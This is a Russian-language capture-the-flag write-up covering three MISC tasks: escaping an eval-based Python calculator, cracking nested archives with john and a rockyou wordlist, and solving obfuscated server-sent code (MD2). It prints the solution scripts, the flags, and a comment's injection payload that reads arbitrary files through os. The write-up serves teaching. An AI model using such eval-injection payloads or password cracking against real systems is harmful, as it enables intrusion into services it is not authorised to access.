CTFzone write-ups — MISC it all up

    image


    Друзья, по сложившейся за последний месяц традиции мы предлагаем вам начать новую неделю с нового райтапа. В этом посте мы подробно разберем задания из направления MISC, куда вошли все задания, не подходящие ни под какую другую категорию. Тут был нужен особенный креатив ;)


    Ветка MISC нашла отклик в душе наших игроков — за время соревнований мы получили около 300 флагов. Заметим, что из всех тасков на 1000, задание из этой категории было наиболее популярным — над ним ломали голову многие, но успеха достигли всего несколько человек. Поэтому мы решили пропустить задания на 50 и 100 очков и сразу перейти к более сложным и интересным заданиям. Поехали!



    MISC_300. Lithium|Beta


    A.U.R.O.R.A.: Lieutenant Friend, seems like this computer is frozen and we don’t have time to fix it. So from now on we have only this calculator interface (nc). I have to admit that your predecessor Lieutenant Petr was a very lazy developer (no idea how he managed to get on this ship) and he failed to complete Compiler Design course. So he wrote calculator in the easiest way using the simplest tools. I know that it’s quite complicated but you have to hurry, we haven’t got much time!


    Решение:


    Запускаем программу и видим, что это обычный калькулятор.


    image


    Как следует из легенды, эту программу писал ленивый разработчик. Скорее всего, это свидетельствует о том, что вместо парсинга математических выражений используется простой eval.


    Как видно на скриншоте, есть вывод названий ошибок, но без трейсов:


    image


    Судя по ошибкам, в ответ отдается результат, приведенный к типу float. Если результат привести нельзя, то возникает ValueError. Если нет такой функции, то NameError.


    Попробуем выяснить список доступных функций методом перебора.


    image


    При этом все попытки использовать underscore, например, class, не работают из-за HackingAttempt.
    Но, используя ord и str, можно вычислить любую переменную, например, результат dir, который возвращает список всех доступных имен в окружении.


    Код бруттера:


    #!/usr/bin/python2
    import socket
    
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(("95.85.41.197", 8888))
    
    print s.recv(1024)
    
    result = ''
    for i in range(0, 300):
      request = "ord(str(dir())[%d])" % i
     # request = "ord(verysecretflag[%d])" % i
      s.send(request)
      response = s.recv(32)
      if 'Err' in response or 'occurred' in response:
        result += '_'
      else:
        result += chr(int(response.split(': ')[1].split('.')[0]))
    print result

    В результате перебора получается следующий список:


    ['HackingAttempt', '__builtins__', '__cached__', '__doc__', '__file__', '__loader__', '__name__', '__package__', '__spec__', 'e', 'f', 'inp', 'print1337', 're', 'regex', 'sys', 'verysecretflag']

    Флаг лежит в переменной verysecretflag. Print, он переименован в print1337
    Чтобы получить ответ, следует сделать вот так:


    image


    Вот и наш флаг!


    Ответ: ctfzone{123456}


    MISC_500. Archive maniac


    A.U.R.O.R.A.: Oh God! Lieutenant, I need you here on the ship control station. Autopilot is broken and we need a secret code to switch to manual control. Only our pilot Chekhov knows it and he is dead drunk, so you have to figure it out. I noticed that he was concerned about storage efficiency and confidentiality. And he also preferred number 32 to 64 with no obvious reason.


    Решение:


    В этом задании участнику предлагается найти секретный код, однако сложность заключается в том, что этот ключ зашифрован. К сожалению, тот, кто обладает информацией, в ближайшие сутки ничего вразумительного сказать не сможет… Мы знаем, что он старался обеспечить надежное хранение и конфиденциальность, а также почему-то и предпочитал число 32 вместо 64. Попробуем разобраться.


    Для начала посмотрим на наши исходные данные. В самом задании дается ссылка на архив arch.tar.gz, в котором содержатся следующие файлы:


    Файлы архива
    [briskly@archlinux tmp]$ tar -xvf arch.tar.gz 
    archive/
    archive/flag3.png
    archive/flag9.png
    archive/flag7.png
    archive/flag6.png
    archive/flag2.png
    archive/flag4.png
    archive/flag5.png
    archive/flag0.png
    archive/flag1.png
    archive/flag8.png
    archive/.gitkeep
    [briskly@archlinux tmp]$ file archive/*
    archive/flag0.png: cpio archive
    archive/flag1.png: bzip2 compressed data, block size = 900k
    archive/flag2.png: bzip2 compressed data, block size = 900k
    archive/flag3.png: compress'd data 16 bits
    archive/flag4.png: LRZIP compressed data - version 0.6
    archive/flag5.png: rzip compressed data - version 2.1 (370344 bytes)
    archive/flag6.png: compress'd data 16 bits
    archive/flag7.png: Zip archive data
    archive/flag8.png: ARJ archive data, v11, slash-switched, original name: , os: Unix
    archive/flag9.png: cpio archive

    Похоже, что в архиве 10 файлов с расширением .png, но при этом каждый файл является архивом. Судя по листингу файлов, архивы очень разные. Пришло время учиться пользоваться экзотикой.


    Пожалуй, начнем:


    [briskly@archlinux archive]$ bzip2 -d flag1.png
    bzip2: Can't guess original name for flag1.png -- using flag1.png.out
    [briskly@archlinux archive]$ file flag1.png.out 
    flag1.png.out: LRZIP compressed data - version 0.6

    Похоже, что в этих архивах находятся другие архивы. Пробуем расшифровать zip файл. 7z сразу попросил пароль:


    [briskly@archlinux archive]$ 7z x flag7.png
    7-Zip [64] 16.02: Copyright (c) 1999-2016 Igor Pavlov: 2016-05-21
    p7zip Version 16.02 (locale=ru_RU.UTF-8,Utf16=on,HugeFiles=on,64 bits,2 CPUs Intel(R) Core(TM) i7-6600U CPU @ 2.60GHz (406E3),ASM,AES-NI)
    
    Scanning the drive for archives:
    1 file, 385755 bytes (377 KiB)
    
    Extracting archive: flag7.png
    --
    Path = flag7.png
    Type = zip
    Physical Size = 385755
    
    Enter password (will not be echoed):

    В данном случае стоит автоматизировать процесс извлечения из архива, поскольку их очень много:


    Извлекаем из архива
    #!/bin/bash
    
    FILE="$1"
    FLAG="flag.png"
    TMP_DIR="PNGs"
    
    # Dirty:
    [ ! -d "./$TMP_DIR" ] && mkdir "$TMP_DIR" && echo -e "\n [+] Creating temp folder: $TMP_DIR."
    [ ! -f "./$FLAG" ] && cp $FILE flag.png && echo -e " [+] Creating temp file: $FLAG.\n"
    
    deArch () {
        CHECK=`file "$FLAG"`
    
        if [[ $CHECK == *"rzip compressed data"* ]]
        then
            echo -e " [*] Now $FLAG is RZIP data (.rz)\n [+] Extracting $FLAG\n"
            mv flag.png{,.rz}
            runzip -d flag.png.rz
            #rm flag.png.rz
            sleep 1
            deArch
    
        elif [[ $CHECK == *"LRZIP compressed data"* ]]
        then
            echo -e " [*] Now $FLAG is LRZIP archive (.lrz)\n [+] Extracting $FLAG\n"
            mv flag.png{,.lrz}
            lrunzip flag.png.lrz > /dev/null
            rm flag.png.lrz
            sleep 1
            deArch
    
        elif [[ $CHECK == *"bzip2 compressed data"* ]]
        then
            echo -e " [*] Now $FLAG is BZIP file (.bz2)\n [+] Extracting $FLAG\n"
            mv flag.png{,.bz2}
            bzip2 -d flag.png.bz2 #> /dev/null
            sleep 1
            deArch
    
        elif [[ $CHECK == *"compress'd data 16 bits"* ]]
        then
            echo -e " [*] Now $FLAG is unix compressed file (.z)\n [+] Extracting $FLAG\n"
            mv flag.png{,.z}
            uncompress flag.png.z
            sleep 1
            deArch
    
        elif [[ $CHECK == *"7-zip archive data"* ]]
        then
            echo -e " [*] Now $FLAG is 7-ZIP archive (.7z)\n [+] Extracting $FLAG\n"
            mv flag.png{,.7z}
            7z x flag.png.7z > /dev/null
            rm flag.png.7z
            sleep 1
            deArch
    
        elif [[ $CHECK == *"ARJ archive data, v11, slash-switched"* ]]
        then
            echo -e " [*] Now $FLAG is ARJ archive (.arj)\n [+] Extracting $FLAG\n"
            mv flag.png{,.arj}
            arj x flag.png.arj > /dev/null
            rm flag.png.arj
            sleep 1
            deArch
    
        elif [[ $CHECK == *"cpio archive"* ]]
        then
            echo -e " [*] Now $FLAG is CPIO archive (.cpio)\n [+] Extracting $FLAG\n"
            mv flag.png{,.cpio}
            cpio -idv < flag.png.cpio 2> /dev/null
            rm flag.png.cpio
            sleep 1
            deArch
    
        elif [[ $CHECK == *"current ar archive"* ]]
        then
            echo -e " [*] Now $FLAG is AR archive (.a)\n [+] Extracting $FLAG\n"
            mv flag.png{,.a}
            ar x flag.png.a
            rm flag.png.a
            sleep 1
            deArch
    
        elif [[ $CHECK == *"Zip archive data"* ]]
        then
            echo -e " [*] Now $FLAG is zip archive (.zip)\n [+] Extracting $FLAG\n"
            mv flag.png{,.zip}
            #mv flag.png{,.7z}
    
            ENC_CHCK=`7z l -slt -- flag.png.zip | grep -ic "Encrypted = +"`
            if [ "$ENC_CHCK" -eq "1" ]
            then
                #exit 1
                echo " [!] PASSWORD pretocted archive"
                zip2john flag.png.zip | awk -F: '{print $2}' > hash.lst
                rm -rf /root/.john/john.*
                #ZIP_PASS=`john hash.lst 2>&1 > /dev/null | awk '/\(\?\)/ {print $1}'`
                ZIP_PASS=`john hash.lst --wordlist=/usr/share/wordlists/rockyou.txt 2>&1 | awk '/\(\?\)/ {print $1}'`
    
                if [[ -z "$ZIP_PASS" ]]
                then
                    #echo -e "$ZIP_PASS"
                    echo -e " [-] Your pass was not found, please, try it manually..."
                else
                    echo -e " [+] Voila! Your pass is: \e[1;33m$ZIP_PASS\e[0;0m, extracting an archive...\n"
                    7z x -p"$ZIP_PASS" flag.png.zip > /dev/null
                    rm flag.png.zip
                    sleep 1
                    deArch
                fi
            else
                7z x flag.png.zip
                sleep 1
                deArch
            fi
    
            #sleep 1
            #deArch
    
        elif [[ $CHECK == *"PNG image data"* ]]
        then
            echo -e " [\e[1;32m*\e[0;0m] Now $FLAG is PNG image file !!!\n [\e[1;32m+\e[0;0m] Open this: ./$TMP_DIR/$FILE\n"
            sleep 1
            #eog flag.png 2> /dev/null
            mv $FLAG $TMP_DIR/$FILE
            exit 0
    
        else
            echo -e "\n [-] Hernya! $CHECK"
        fi
    }
    
    deArch

    Результат работы скрипта:


    Результат
    bash deArch.sh flag4.png 
    
     [+] Creating temp folder: PNGs.
     [+] Creating temp file: flag.png.
    
     [*] Now flag.png is ARJ archive (.arj)
     [+] Extracting flag.png
    
     [*] Now flag.png is zip archive (.zip)
     [+] Extracting flag.png
    
     [!] PASSWORD pretocted archive
     [+] Voila! Your pass is: love123, extracting an archive...
    
     [*] Now flag.png is unix compressed file (.z)
     [+] Extracting flag.png
    
     [*] Now flag.png is AR archive (.a)
     [+] Extracting flag.png
    
     [*] Now flag.png is BZIP file (.bz2)
     [+] Extracting flag.png
    
     [*] Now flag.png is CPIO archive (.cpio)
     [+] Extracting flag.png
    
     [*] Now flag.png is RZIP data (.rz)
     [+] Extracting flag.png
    
     [*] Now flag.png is 7-ZIP archive (.7z)
     [+] Extracting flag.png
    
     [*] Now flag.png is LRZIP archive (.lrz)
     [+] Extracting flag.png
    
     [*] Now flag.png is PNG image file !!!
     [+] Open this: ./PNGs/flag4.png

    В результате из файла вытаскивается flag4.png


    image


    Итак, получена картинка! Посмотрим, что внутри – может быть, там есть стеганография?
    Для этого запустим Stegsolve, и, изменив некоторые настройки, получим что-то вполне разборчивое:


    image


    Судя по знакам =, это похоже на base64. Но все буквы заглавные (uppercase). Вспомним легенду, где сказано, что тот человек, который обладал знаниями, предпочитал число 32. Попробуем base32, в результате чего получаем TPAU'XAPDEP.


    Выполняем те же действия по отношению к остальным файлам.


    В итоге получаем следующее:


    thisnotaflag
    thisisflag,joke
    noflaghere
    noo000000op
    CTFZONE{5dbb39d62d31b1c
    notflagagain
    flagwashere
    025f3b0e3a987d375}part2
    kakoyflag?
    TPAU'XAPDEP

    Вот и наш флаг!


    Ответ: ctfzone{5dbb39d62d31b1c025f3b0e3a987d375}part2


    MISC_1000. Molibden|Gamma


    A.U.R.O.R.A.: Lieutenant, you’ve got to the command center. It’s time to go home and join our comrades! Wait, something is wrong with the systems. Some basic libraries are lost. Computer can't find the route. You need to help computer make some simple calculations. Quick, we are almost there!


    Решение:


    Итак, мы практически у цели! Чтобы получить управление кораблем, необходимо исправить ошибку в системе.


    Итак, запускаем программу. Пример работы программы мы видим на скриншоте.


    image


    Из легенды понятно, что нам нужно интерпретировать код, который присылает сервер. Для получения решения придется показать свои навыки программирования.


    Так как код написан на Python, то первое очевидное решение – это сделать exec и отправить его результат обратно. Код будет выглядеть следующим образом:


    from socket import create_connection
    from time import time
    
    sock = create_connection(("95.85.41.197", 8887))
    
    for i in range(10):
        res = None
        code = sock.recv(102400)
        code = code.decode()
        code = "\n".join(code.split("\n")[:-2])
        if "gone wrong" in code:
            print(code)
            exit(0)
    
        start = time()
        l = res = None
    
        print(code)
        exec(code)
        res = res or l
    
        print(time() - start)
        code = None
    
        res = str(res).encode()
        try:
            sock.send(res + b"\n")
        except Exception:
            print(sock.recv(102400))
            print(sock.recv(102400))
            print(sock.recv(102400))
            break

    После этого приходит код со sleep, который тормозит исполнение:


    from time import sleep
    
    k = 96
    s = 36
    c = 98
    
    mas = []
    
    for i in range(c):
        sleep(0.1)
        mas.append(s)
        s += k
    
    res = 0
    
    for el in mas:
        sleep(0.1)
        res += el
    
    print(res)

    Эта проблема решается просто вырезанием sleep по регулярке. Например, вот так:


    code = code.replace("sleep(0.1)", "")

    Следующее усложнение заключается в том, что sleep переименовывается при импорте:


    from time import sleep as JecYvyk

    В данном случае можно написать регулярку или просто сделать replace:


    code = code.replace("sleep", "gmtime")

    В следующий раз решение останавливается на шаге с кодом, в котором используются большие числа:


    from time import gmtime as rluVx
    
    k = 82194181
    s = 55474764
    c = 54888629
    
    mas = []
    
    for i in range(c):
        rluVx(2*0.01)
        mas.append(s)
        s += k
    
    res = 0
    
    for el in mas:
        rluVx(2*0.01)
        res += el
    
    print(res)

    На данном этапе программа не выполняется по двум причинам — либо заканчивается память, либо сервер выдает ошибку:


    Something gone wrong: TimeoutError

    Очевидно, что просто решить данную задачу не получится, придется разбираться в коде. При первой оценке кода можно заметить, что это очень похоже на сумму арифметической прогрессии.


    Так как функция написана действительно неэффективно, то вместо обычного подсчета линейной формулой, формируется массив со всеми элементами арифметической прогрессии, а потом складывается. Напишем эту формулу:


    def solve(k, s, c):
        return str((2*s + k*(c-1))*c//2)

    Выглядит она довольно просто.


    Следующая проблема заключается в том, что перестает успевать выполняться код:


    from time import sleep as Rkyv
    from random import shuffle
    
    l = [5984807, 6299947, 10119240, 13578507, 14224900, 15238270, 15513380, 16429758]
    
    while True:
        Rkyv(0o10*0.01)
        shuffle(l)
        prev = None
        is_sorted = True
        for el in l:
            Rkyv(0o10*0.01)
            if prev is None:
                prev = el
            elif prev >= el:
                is_sorted = False
                break
            prev = el
        if is_sorted:
            break
    print(l)

    Придется разобраться и с этой задачей. Очень похоже на monkey_sort, но, судя по всему, этот код выполнить невозможно. Перепишем на обычный sort, который предоставляет нам Python. Но и этого оказывается недостаточно.


    В результате наступает момент, когда обычный exec перестает успевать считать 'страшный' обфусцированный код:


    Страшный обфусцированный код
    from time import sleep as EB
    
    s = b'Vt\xe9\xe9\xed\x05J\xdaEQ'
    
    def func3(s):
        def func1(OOOOOOOOO0000OOO0 ):
            ""
            PI_SUBST =[41 ,46 ,67 ,201 ,162 ,216 ,124 ,1 ,61 ,54 ,84 ,161 ,236 ,240 ,6 ,19 ,98 ,167 ,5 ,243 ,192 ,199 ,115 ,140 ,152 ,147 ,43 ,217 ,188 ,76 ,130 ,202 ,30 ,155 ,87 ,60 ,253 ,212 ,224 ,22 ,103 ,66 ,111 ,24 ,138 ,23 ,229 ,18 ,190 ,78 ,196 ,214 ,218 ,158 ,222 ,73 ,160 ,251 ,245 ,142 ,187 ,47 ,238 ,122 ,169 ,104 ,121 ,145 ,21 ,178 ,7 ,63 ,148 ,194 ,16 ,137 ,11 ,34 ,95 ,33 ,128 ,127 ,93 ,154 ,90 ,144 ,50 ,39 ,53 ,62 ,204 ,231 ,191 ,247 ,151 ,3 ,255 ,25 ,48 ,179 ,72 ,165 ,181 ,209 ,215 ,94 ,146 ,42 ,172 ,86 ,170 ,198 ,79 ,184 ,56 ,210 ,150 ,164 ,125 ,182 ,118 ,252 ,107 ,226 ,156 ,116 ,4 ,241 ,69 ,157 ,112 ,89 ,100 ,113 ,135 ,32 ,134 ,91 ,207 ,101 ,230 ,45 ,168 ,2 ,27 ,96 ,37 ,173 ,174 ,176 ,185 ,246 ,28 ,70 ,97 ,105 ,52 ,64 ,126 ,15 ,85 ,71 ,163 ,35 ,221 ,81 ,175 ,58 ,195 ,92 ,249 ,206 ,186 ,197 ,234 ,38 ,44 ,83 ,13 ,110 ,133 ,40 ,132 ,9 ,211 ,223 ,205 ,244 ,65 ,129 ,77 ,82 ,106 ,220 ,55 ,200 ,108 ,193 ,171 ,250 ,36 ,225 ,123 ,8 ,12 ,189 ,177 ,74 ,120 ,136 ,149 ,139 ,227 ,99 ,232 ,109 ,233 ,203 ,213 ,254 ,59 ,0 ,29 ,57 ,242 ,239 ,183 ,14 ,102 ,88 ,208 ,228 ,166 ,119 ,114 ,248 ,235 ,117 ,75 ,10 ,49 ,68 ,80 ,180 ,143 ,237 ,31 ,26 ,219 ,153 ,141 ,51 ,159 ,17 ,131 ,20 ]
            O00OOOO0OOOO00000 =OOOOOOOOO0000OOO0 
            OO00OO000OO0OO000 =len (O00OOOO0OOOO00000 )
            O00OOOO0OOOO00000 +=chr (16 -(OO00OO000OO0OO000 %16 )).encode ("utf-8")*(16 -(OO00OO000OO0OO000 %16 ))
            O00OOOO0O0OOO00O0 =O00OOOO0OOOO00000 
            OO00OO000OO0OO000 =len (O00OOOO0OOOO00000 )
            OOOOO0O0000000OO0 =bytearray (b"\x00"*16 )
            OO0O0O000OOOO0O0O =0 
            for O0OOO0OO000OO00O0 in range (OO00OO000OO0OO000 //16 ):
                EB(0x3*0.01)
                for OO00O00OOO000OO00 in range (16 ):
                    EB(0x3*0.01)
                    O0O0OOOO000O0OO0O =O00OOOO0O0OOO00O0 [O0OOO0OO000OO00O0 *16 +OO00O00OOO000OO00 ]
                    OOOOO0O0000000OO0 [OO00O00OOO000OO00 ]=OOOOO0O0000000OO0 [OO00O00OOO000OO00 ]^PI_SUBST [O0O0OOOO000O0OO0O ^OO0O0O000OOOO0O0O ]
                    OO0O0O000OOOO0O0O =OOOOO0O0000000OO0 [OO00O00OOO000OO00 ]
    
            OO0OOO00OOO00000O =O00OOOO0O0OOO00O0 +OOOOO0O0000000OO0 
            OO00OO000OO0OO000 +=16 
            OOO00O00O0O0O0OO0 =bytearray ([0 ])*48 
            for O0OOO0OO000OO00O0 in range (OO00OO000OO0OO000 //16 ):
                for OO00O00OOO000OO00 in range (16 ):
                    EB(0x3*0.01)
                    OOO00O00O0O0O0OO0 [16 +OO00O00OOO000OO00 ]=OO0OOO00OOO00000O [O0OOO0OO000OO00O0 *16 +OO00O00OOO000OO00 ]
                    OOO00O00O0O0O0OO0 [32 +OO00O00OOO000OO00 ]=OOO00O00O0O0O0OO0 [16 +OO00O00OOO000OO00 ]^OOO00O00O0O0O0OO0 [OO00O00OOO000OO00 ]
                OOOO0O0OO000000OO =0 
                for OO00O00OOO000OO00 in range (18 ):
                    EB(0x3*0.01)
                    for OOOO00O00OOO0OOOO in range (48 ):
                        EB(0x3*0.01)
                        OOOO0O0OO000000OO =OOO00O00O0O0O0OO0 [OOOO00O00OOO0OOOO ]=OOO00O00O0O0O0OO0 [OOOO00O00OOO0OOOO ]^PI_SUBST [OOOO0O0OO000000OO ]
                    OOOO0O0OO000000OO =(OOOO0O0OO000000OO +OO00O00OOO000OO00 )%256 
            return bytes (OOO00O00O0O0O0OO0 [:16 ])
    
        OO0OOOO00OO0O0O0O = b'Vt\xe9\xe9\xed\x05J\xdaEQ'
    
        def func2(OO0OOOO00OO0O0O0O):
            O00O00OO000OOO00O ='0123456789abcdef'
            return b''.join(map(lambda x: x.encode(), map(lambda O00O0OO0O0OOOO0O0 :O00O00OO000OOO00O [(O00O0OO0O0OOOO0O0 >>4 )&0xf ]+O00O00OO000OOO00O [O00O0OO0O0OOOO0O0 &0xf ],func1 (OO0OOOO00OO0O0O0O ))))
    
        for i in range(100):
            OO0OOOO00OO0O0O0O = func2(OO0OOOO00OO0O0O0O)
        return OO0OOOO00OO0O0O0O.decode()
    
        #print(''.join (map (lambda O00O0OO0O0OOOO0O0 :O00O00OO000OOO00O [(O00O0OO0O0OOOO0O0 >>4 )&0xf ]+O00O00OO000OOO00O [O00O0OO0O0OOOO0O0 &0xf ],func1 (OO0OOOO00OO0O0O0O ))))
    res = func3(s)
    print(res)

    В ходе небольшой деобфускации становится понятно, что скорее всего это какая-то хеш функция, которая последовательно применяется 100 раз. Далее пройти можно двумя способами: либо просто переписать данную функцию на чем-то более быстром (например, C++), либо попробовать поискать таблицу замен, которая захардкожена в коде.


    Попробуем погуглить:


    image


    Достаточно легко догадаться, что это md2. В PYCRYPTO есть быстрая реализация этой функции:


    from Crypto.Hash import MD2
    
    def solve(inp):
        for i in range(params.get("count")):
            h = MD2.new()
            h.update(inp)
            inp = h.hexdigest()
        return inp
    

    Результирующий код solver:


    Код solver
    import re
    import json
    from socket import create_connection
    from solves import md2
    from solves import arifmetic
    from time import time
    
    sock = create_connection(("95.85.41.197", 8887))
    
    r1 = re.compile(r"l = (\[.*\])")
    r21 = re.compile(r"OO0OOOO00OO0O0O0O = (b('|\").*('|\"))\n")
    r22 = re.compile(r"    for i in range\((\d+)\):")
    r3 = re.compile(r".*k = (?P<k>\d+)\ns = (?P<s>\d+)\nc = (?P<c>\d+).*")
    
    def solve1(code):
        reverse = True
        if ">" in code:
            reverse = False
        code = code.split("while True:")[0]
        lst = r1.findall(code)[0]
        lst = json.loads(lst)
        lst.sort(reverse=reverse)
        return lst
    
    def solve2(code):
        data = eval((r21.findall(code))[0][0])
        count = int(r22.findall(code)[0])
        res = md2.solve({"string": data, "count": count})
        return res
    
    def solve3(code):
        for m in r3.finditer(code):
            print (arifmetic.solve({k: int(v) for k, v in m.groupdict().items()}))
            return arifmetic.solve({k: int(v) for k, v in m.groupdict().items()})
    
    while True:
        res = None
        code = sock.recv(102400)
        code = code.decode()
        code = "\n".join(code.split("\n")[:-2])
        code = code.replace("sleep(0.1)", "")
        if "gone wrong" in code:
            print(code)
            exit(0)
    
        start = time()
        if "shuffle" in code:
            res = solve1(code)
        elif "OO0OOOO00OO0O0O0O" in code:
            res = solve2(code)
        elif "mas.append" in code:
            res = solve3(code)
        else:
            print("EXECING")
            print(code)
            exec(code)
            print(sock.recv(102400))
            print(sock.recv(102400))
            print(sock.recv(102400))
            print(sock.recv(102400))
            exit(0)
        print(time()-start)
        code = None
    
        res = str(res).encode()
        try:
            sock.send(res + b"\n")
        except Exception:
            print(sock.recv(102400))
            print(sock.recv(102400))
            break

    В результате получаем долгожданный флаг!


    image


    Ответ: ctfzone{YouRealyHaveSoMuchTime?}


    Кстати, по вашим многочисленным просьбам мы выложили оффлайн задания – теперь поиграться с райтапами можно на этом портале. Но не забывайте про наши задания по хайрингу, они будут доступны еще 10 дней до 15.12 – время еще есть!


    Если у вас остались какие-то вопросы – оставляйте комментарии и пишите в наш чат в Telegram. Ничего так не вдохновляет, как ваша активность :)


    Всем добра и удачи!

    BI.ZONE
    Компания

    Похожие публикации

    Комментарии 2

      +1

      Чего-то misc-1000 вообще жутким оказался


      Кстати, в misc-300 можно было получить полноценный шел, чтение например могло выглядеть так:


      int(''.join(['{:02x}'.format(ord(c)) for c in str(sys.modules['os'].read(sys.modules['os'].open('flag.txt',0), 1024) + )[i]]), 16)

      Где вместо flag.txt — нужный файл, а i — интересующий блок


      Кто в итоге так делал, мог найти псевдофлаг с рикроллом в flag.txt

        0
        echo -e "\n [-] Hernya! $CHECK"
        

        Т.е. был вариант, что решение найти не удастся

        Только полноправные пользователи могут оставлять комментарии. Войдите, пожалуйста.

        Самое читаемое